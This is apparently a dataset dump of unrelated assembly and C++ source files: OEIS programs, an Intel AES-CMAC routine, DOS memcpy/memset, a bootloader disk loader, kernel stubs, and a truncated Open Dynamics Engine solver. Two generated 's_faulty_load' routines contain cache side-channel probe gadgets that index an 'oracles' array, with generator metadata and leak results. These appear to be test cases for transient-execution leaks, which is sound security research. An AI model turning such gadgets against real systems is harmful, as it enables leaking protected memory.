text
stringlengths
1
1.05M
.global s_prepare_buffers s_prepare_buffers: push %r10 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xad66, %rsi lea addresses_WC_ht+0x510a, %rdi clflush (%rdi) nop nop add $5733, %rbx mov $103, %rcx rep movsq and %r10, %r10 lea addresses_normal_ht+0x10066, %rdx clflush (%rdx) nop xor $2631, %rsi mov $0x6162636465666768, %rcx movq %rcx, %xmm1 movups %xmm1, (%rdx) and %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r9 push %rax push %rdi push %rsi // Store lea addresses_normal+0x1fea6, %r11 clflush (%r11) nop nop nop nop and $65022, %rax movl $0x51525354, (%r11) nop nop nop nop nop inc %rdi // Load lea addresses_US+0x1d09e, %r11 nop nop nop nop nop dec %r10 movups (%r11), %xmm7 vpextrq $1, %xmm7, %r9 nop nop sub %r10, %r10 // Faulty Load lea addresses_A+0x11066, %r9 nop and $3930, %rdi movb (%r9), %r10b lea oracles, %rdi and $0xff, %r10 shlq $12, %r10 mov (%rdi,%r10,1), %r10 pop %rsi pop %rdi pop %rax pop %r9 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'00': 5177} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A110240: Decimal form of binary integer produced by the ON cells at n-th generation following Wolfram's Rule 30 cellular automaton starting from a single ON-cell represented as 1. ; Submitted by Christian Krause ; 1,7,25,111,401,1783,6409,28479,102849,456263,1641433,7287855,26332369,116815671,420186569,1865727615,6741246849,29904391303,107568396185,477630335215,1725755276049,7655529137527,27537575631497,122273031660991,441793688828481,1959816732673991,7049616458717273,31301898942114223,113099197070351953,501713070701011895,1804701723251584073,8013286339612956159,28953394102147295745,128438546705313945095,462003639437376367129,2051401306940885227119,7412068885048084605841,32880267923052300719351 mov $1,1 lpb $0 sub $0,1 seq $1,269160 ; Formula for Wolfram's Rule 30 cellular automaton: a(n) = n XOR (2n OR 4n). lpe mov $0,$1
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text .p2align 5, 0x90 .globl _cpAESCMAC_Update_AES_NI _cpAESCMAC_Update_AES_NI: push %ebp mov %esp, %ebp push %esi push %edi movl (8)(%ebp), %edi movl (12)(%ebp), %esi movl (24)(%ebp), %ecx movl (20)(%ebp), %eax movdqu (%edi), %xmm0 movl (16)(%ebp), %edx .p2align 5, 0x90 .Lblks_loopgas_1: movdqu (%esi), %xmm1 movdqa (%ecx), %xmm4 pxor %xmm1, %xmm0 pxor %xmm4, %xmm0 movdqa (16)(%ecx), %xmm4 add $(16), %ecx sub $(1), %eax .p2align 5, 0x90 .Lcipher_loopgas_1: aesenc %xmm4, %xmm0 movdqa (16)(%ecx), %xmm4 add $(16), %ecx sub $(1), %eax jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 movl (24)(%ebp), %ecx movl (20)(%ebp), %eax add $(16), %esi sub $(16), %edx jnz .Lblks_loopgas_1 pxor %xmm4, %xmm4 movdqu %xmm0, (%edi) pop %edi pop %esi pop %ebp ret
; ; Old School Computer Architecture - interfacing FLOS ; Stefano Bodrato, 2011 ; ; Get current volume ; ; $Id: get_current_volume.asm,v 1.3 2016/06/22 22:13:09 dom Exp $ ; INCLUDE "flos.def" SECTION code_clib PUBLIC get_current_volume PUBLIC _get_current_volume get_current_volume: _get_current_volume: call kjt_get_volume_info ld l,a ld h,0 ret
;=============================================================================| ; _______ _________ _______ _______ | ; ( ____ \\__ __/|\ /|( ____ \( ____ ) | ; | ( \/ ) ( | ) ( || ( \/| ( )| | ; | (__ | | | (___) || (__ | (____)| By Hákon Hjaltalín. | ; | __) | | | ___ || __) | __) Licensed under MIT. | ; | ( | | | ( ) || ( | (\ ( | ; | (____/\ | | | ) ( || (____/\| ) \ \__ | ; (_______/ )_( |/ \|(_______/|/ \__/ | ;=============================================================================| bits 64 extern itoa extern vga_text_print_string %define PMM_PAGE_SIZE 4096 %define PMM_PAGES_PER_QWORD 64 %define PMM_PAGES_PER_BYTE 8 global pmm_init global pmm_reserve_region section .data pmm_memory_size dq 0 integer times 18 db 0 section .text ;=============================================================================; ; pmm_reserve_region ; ; Reserve a region of memory ; ; @param RDI = Start of region ; ; @param RSI = Length of region ; ;=============================================================================; pmm_reserve_region: push rsi push rdi push rax push rbx push rcx push rdx pop rdx pop rcx pop rbx pop rax pop rsi pop rdi ret ;=============================================================================; ; pmm_init ; ;=============================================================================; pmm_init: push rdi push rsi push rax push rbx push rdx mov rax, rdi mov rbx, 1024 * 1024 mul rbx mov qword [pmm_memory_size], rax .done: pop rdx pop rbx pop rax pop rsi pop rdi ret
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x17fca, %rsi lea addresses_normal_ht+0x1d989, %rdi nop nop sub $38594, %r13 mov $65, %rcx rep movsl nop nop nop nop nop inc %r9 lea addresses_normal_ht+0xb289, %rsi nop nop nop cmp %rdx, %rdx movb (%rsi), %r13b nop nop nop nop nop sub %rdi, %rdi lea addresses_D_ht+0xb9a7, %r9 xor %rcx, %rcx movl $0x61626364, (%r9) nop add %rdx, %rdx lea addresses_UC_ht+0x1d689, %r9 nop nop nop inc %rdx mov (%r9), %cx nop add %rsi, %rsi lea addresses_A_ht+0x123c9, %rcx nop cmp $38490, %r11 movb $0x61, (%rcx) add $9453, %r13 lea addresses_D_ht+0xe601, %rsi lea addresses_normal_ht+0x13009, %rdi clflush (%rdi) nop nop nop add $31045, %r10 mov $29, %rcx rep movsq nop and %rsi, %rsi lea addresses_UC_ht+0x10a89, %r11 clflush (%r11) xor $12820, %rdx movups (%r11), %xmm6 vpextrq $1, %xmm6, %r10 nop nop cmp $22717, %rsi lea addresses_A_ht+0x1764d, %r9 nop nop nop nop cmp $51679, %rdx vmovups (%r9), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %r10 nop nop nop sub $20241, %rcx lea addresses_WT_ht+0x88c9, %rsi nop nop nop nop nop dec %rdi mov (%rsi), %r11w nop nop nop nop nop lfence lea addresses_WT_ht+0x1b61d, %rsi lea addresses_D_ht+0x10d9, %rdi clflush (%rsi) sub $33272, %r9 mov $36, %rcx rep movsl add $33144, %r10 lea addresses_UC_ht+0x6325, %rsi lea addresses_WT_ht+0x8c49, %rdi cmp %r13, %r13 mov $89, %rcx rep movsq nop nop and %rdx, %rdx lea addresses_A_ht+0x175e9, %rcx clflush (%rcx) nop nop nop nop cmp %rsi, %rsi mov $0x6162636465666768, %r13 movq %r13, %xmm6 and $0xffffffffffffffc0, %rcx vmovntdq %ymm6, (%rcx) and $34641, %rsi lea addresses_UC_ht+0x1a365, %r9 nop nop nop sub $2660, %r10 movw $0x6162, (%r9) nop nop sub %r9, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r9 push %rax push %rbp push %rsi // Store lea addresses_UC+0x1c4e0, %rbp nop nop nop nop nop cmp %rsi, %rsi movw $0x5152, (%rbp) nop nop nop nop cmp %r12, %r12 // Store mov $0x1b246d0000000ac1, %rbp nop nop nop nop add %r15, %r15 mov $0x5152535455565758, %r12 movq %r12, %xmm7 vmovups %ymm7, (%rbp) nop nop dec %r9 // Load mov $0xf6e980000000109, %rax clflush (%rax) nop inc %rbp mov (%rax), %r15d nop add $15899, %r12 // Store lea addresses_normal+0x9e89, %r12 nop nop nop nop add %r11, %r11 movl $0x51525354, (%r12) nop nop sub $936, %r12 // Faulty Load lea addresses_normal+0x16689, %rbp and %r11, %r11 vmovups (%rbp), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %rsi lea oracles, %r15 and $0xff, %rsi shlq $12, %rsi mov (%r15,%rsi,1), %rsi pop %rsi pop %rbp pop %rax pop %r9 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}, 'dst': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 2}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
#!/bin/asmbf/bfmake ; An interpreter bitness check. stk 3 org 0 seg 0 psh %return jmp %bitness @return out r1 end ; label-less bitness test. ; r1 <= interpreter's bitness @bitness psh r2 clr r1 mov r2, 1 nav r2 raw .[ inc r1 asl r2 nav r2 raw .] pop r2 ret
; A159465: Sums of odd numbers, omitting squares. ; 3,8,15,26,39,54,71,90,111,134,161,190,221,254,289,326,365,406,449,494,541,592,645,700,757,816,877,940,1005,1072,1141,1212,1285,1360,1437,1516,1599,1684,1771,1860,1951,2044,2139,2236,2335,2436,2539,2644,2751,2860,2971,3084,3199,3316,3435,3558,3683,3810,3939,4070,4203,4338,4475,4614,4755,4898,5043,5190,5339,5490,5643,5798,5955,6114,6275,6438,6603,6770,6941,7114,7289,7466,7645,7826,8009,8194,8381,8570,8761,8954,9149,9346,9545,9746,9949,10154,10361,10570,10781,10994 mov $2,$0 add $2,1 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,88828 ; Nonsquare positive odd numbers. add $1,$0 lpe mov $0,$1
.model compact .386p .code ;void memcpy (void far *dest, void far *str, U16B size); public _memcpy _memcpy proc far push bp mov bp,sp push si push di push ds les di,[bp + 6] lds si,[bp + 10] mov cx,[bp + 14] shr cx,1 cld rep movsw jnc MemCpyDone movsb MemCpyDone: pop ds pop di pop si pop bp retf _memcpy endp ;void memset(void far *dest, U8B value, U16B count); public _memset _memset proc far push bp mov bp,sp push di les di,[bp + 6] mov ax,[bp + 10] mov ah,al mov cx,[bp + 12] shr cx,1 cld rep stosw jnc MemSetDone stosb MemSetDone: pop di pop bp retf _memset endp ;int memcmp(const void far *s1, const void far *s2, U16B count); ; public _memcmp ;_memcmp proc far ; push bp ; mov bp,sp ; push si ; push di ; push ds ; ; xor ax,ax ; les di,[bp + 6] ; lds si,[bp + 10] ; mov cx,[bp + 14] ; cld ; rep cmpsb ; setne al ; pop ds ; pop di ; pop si ; pop bp ; retf ;_memcmp endp end
; load DH sectors to ES:BX from drive DL disk_load : pusha push dx ; Save requested number of sectors for later checks mov ah, 0x02 ; BIOS read sector function mov al, dh ; Read DH sectors mov ch, 0x00 ; Select cylinder 0 mov dh, 0x00 ; Select head 0 mov cl, 0x02 ; Start reading from second sector ( 1st is the MBR ) int 0x13 ; BIOS interrupt jc disk_error ; catch error ( i.e. carry flag set ) pop dx ; Restore DX from the stack cmp al, dh ; if AL ( sectors read ) != DH ( sectors expected ) jne sector_error popa ret error_traceback: call endl mov bx, FAULT_CODE_MSG call prints mov dh, ah ; ah=err code, dl=fault disk push dx mov dl, 0x00 ror dx, 8 call printh mov bx, FAULT_DISK_MSG call prints pop dx mov dh, 0x00 call printh jmp $ ; halt disk_error : call endl mov bx, DISK_ERROR_MSG call prints jmp error_traceback sector_error: call endl mov bx, SECTOR_COUNT_ERROR_MSG call prints jmp error_traceback ; Variables FAULT_CODE_MSG: db "Error code: ", 0 FAULT_DISK_MSG: db " From disk: ", 0 DISK_ERROR_MSG: db "Disk read error", 0 SECTOR_COUNT_ERROR_MSG: db "Could not read all requested sectors", 0
/************************************************************************* * * * Open Dynamics Engine, Copyright (C) 2001-2003 Russell L. Smith. * * All rights reserved. Email: russ@q12.org Web: www.q12.org * * * * This library is free software; you can redistribute it and/or * * modify it under the terms of EITHER: * * (1) The GNU Lesser General Public License as published by the Free * * Software Foundation; either version 2.1 of the License, or (at * * your option) any later version. The text of the GNU Lesser * * General Public License is included with this library in the * * file LICENSE.TXT. * * (2) The BSD-style license that is included with this library in * * the file LICENSE-BSD.TXT. * * * * This library is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the files * * LICENSE.TXT and LICENSE-BSD.TXT for more details. * * * *************************************************************************/ #include "objects.h" #include "joint.h" #include <ode/config.h> #include <ode/odemath.h> #include <ode/rotation.h> #include <ode/timer.h> #include <ode/error.h> #include <ode/matrix.h> #include <ode/misc.h> #include "lcp.h" #include "util.h" #include "stdlib.h" #include <algorithm> #include <random> #define ALLOCA dALLOCA16 typedef const dReal *dRealPtr; typedef dReal *dRealMutablePtr; #define dRealArray(name,n) dReal name[n]; #define dRealAllocaArray(name,n) dReal *name = (dReal*) ALLOCA ((n)*sizeof(dReal)); //*************************************************************************** // configuration // for the SOR and CG methods: // uncomment the following line to use warm starting. this definitely // help for motor-driven joints. unfortunately it appears to hurt // with high-friction contacts using the SOR method. use with care #define WARM_STARTING 0 // for the SOR method: // uncomment the following line to determine a new constraint-solving // order for each iteration. however, the qsort per iteration is expensive, // and the optimal order is somewhat problem dependent. // @@@ try the leaf->root ordering. //#define REORDER_CONSTRAINTS 1 // for the SOR method: // uncomment the following line to randomly reorder constraint rows // during the solution. depending on the situation, this can help a lot // or hardly at all, but it doesn't seem to hurt. #define RANDOMLY_REORDER_CONSTRAINTS 1 //*************************************************************************** // testing stuff #ifdef TIMING #define IFTIMING(x) x #else #define IFTIMING(x) /* */ #endif //*************************************************************************** // various common computations involving the matrix J // compute iMJ = inv(M)*J' static void compute_invM_JT (int m, dRealMutablePtr J, dRealMutablePtr iMJ, int *jb, dxBody * const *body, dRealPtr invI) { int i,j; dRealMutablePtr iMJ_ptr = iMJ; dRealMutablePtr J_ptr = J; for (i=0; i<m; i++) { int b1 = jb[i*2]; int b2 = jb[i*2+1]; dReal k = body[b1]->invMass; for (j=0; j<3; j++) iMJ_ptr[j] = k*J_ptr[j]; dMULTIPLY0_331 (iMJ_ptr + 3, invI + 12*b1, J_ptr + 3); if (b2 >= 0) { k = body[b2]->invMass; for (j=0; j<3; j++) iMJ_ptr[j+6] = k*J_ptr[j+6]; dMULTIPLY0_331 (iMJ_ptr + 9, invI + 12*b2, J_ptr + 9); } J_ptr += 12; iMJ_ptr += 12; } } // compute out = inv(M)*J'*in. static void multiply_invM_JT (int m, int nb, dRealMutablePtr iMJ, int *jb, dRealMutablePtr in, dRealMutablePtr out) { int i,j; dSetZero (out,6*nb); dRealPtr iMJ_ptr = iMJ; for (i=0; i<m; i++) { int b1 = jb[i*2]; int b2 = jb[i*2+1]; dRealMutablePtr out_ptr = out + b1*6; for (j=0; j<6; j++) out_ptr[j] += iMJ_ptr[j] * in[i]; iMJ_ptr += 6; if (b2 >= 0) { out_ptr = out + b2*6; for (j=0; j<6; j++) out_ptr[j] += iMJ_ptr[j] * in[i]; } iMJ_ptr += 6; } } // compute out = J*in. static void multiply_J (int m, dRealMutablePtr J, int *jb, dRealMutablePtr in, dRealMutablePtr out) { int i,j; dRealPtr J_ptr = J; for (i=0; i<m; i++) { int b1 = jb[i*2]; int b2 = jb[i*2+1]; dReal sum = 0; dRealMutablePtr in_ptr = in + b1*6; for (j=0; j<6; j++) sum += J_ptr[j] * in_ptr[j]; J_ptr += 6; if (b2 >= 0) { in_ptr = in + b2*6; for (j=0; j<6; j++) sum += J_ptr[j] * in_ptr[j]; } J_ptr += 6; out[i] = sum; } } // compute out = (J*inv(M)*J' + cfm)*in. // use z as an nb*6 temporary. /* static void multiply_J_invM_JT (int m, int nb, dRealMutablePtr J, dRealMutablePtr iMJ, int *jb, dRealPtr cfm, dRealMutablePtr z, dRealMutablePtr in, dRealMutablePtr out) { multiply_invM_JT (m,nb,iMJ,jb,in,z); multiply_J (m,J,jb,z,out); // add cfm for (int i=0; i<m; i++) out[i] += cfm[i] * in[i]; } */ //*************************************************************************** // conjugate gradient method with jacobi preconditioner // THIS IS EXPERIMENTAL CODE that doesn't work too well, so it is ifdefed out. // // adding CFM seems to be critically important to this method. #if 0 static inline dReal dot (int n, dRealPtr x, dRealPtr y) { dReal sum=0; for (int i=0; i<n; i++) sum += x[i]*y[i]; return sum; } // x = y + z*alpha static inline void add (int n, dRealMutablePtr x, dRealPtr y, dRealPtr z, dReal alpha) { for (int i=0; i<n; i++) x[i] = y[i] + z[i]*alpha; } static void CG_LCP (int m, int nb, dRealMutablePtr J, int *jb, dxBody * const *body, dRealPtr invI, dRealMutablePtr lambda, dRealMutablePtr fc, dRealMutablePtr b, dRealMutablePtr lo, dRealMutablePtr hi, dRealPtr cfm, int *findex, dxQuickStepParameters *qs) { int i,j; const int num_iterations = qs->num_iterations; // precompute iMJ = inv(M)*J' dRealAllocaArray (iMJ,m*12); compute_invM_JT (m,J,iMJ,jb,body,invI); dReal last_rho = 0; dRealAllocaArray (r,m); dRealAllocaArray (z,m); dRealAllocaArray (p,m); dRealAllocaArray (q,m); // precompute 1 / diagonals of A dRealAllocaArray (Ad,m); dRealPtr iMJ_ptr = iMJ; dRealPtr J_ptr = J; for (i=0; i<m; i++) { dReal sum = 0; for (j=0; j<6; j++) sum += iMJ_ptr[j] * J_ptr[j]; if (jb[i*2+1] >= 0) { for (j=6; j<12; j++) sum += iMJ_ptr[j] * J_ptr[j]; } iMJ_ptr += 12; J_ptr += 12; Ad[i] = REAL(1.0) / (sum + cfm[i]); } 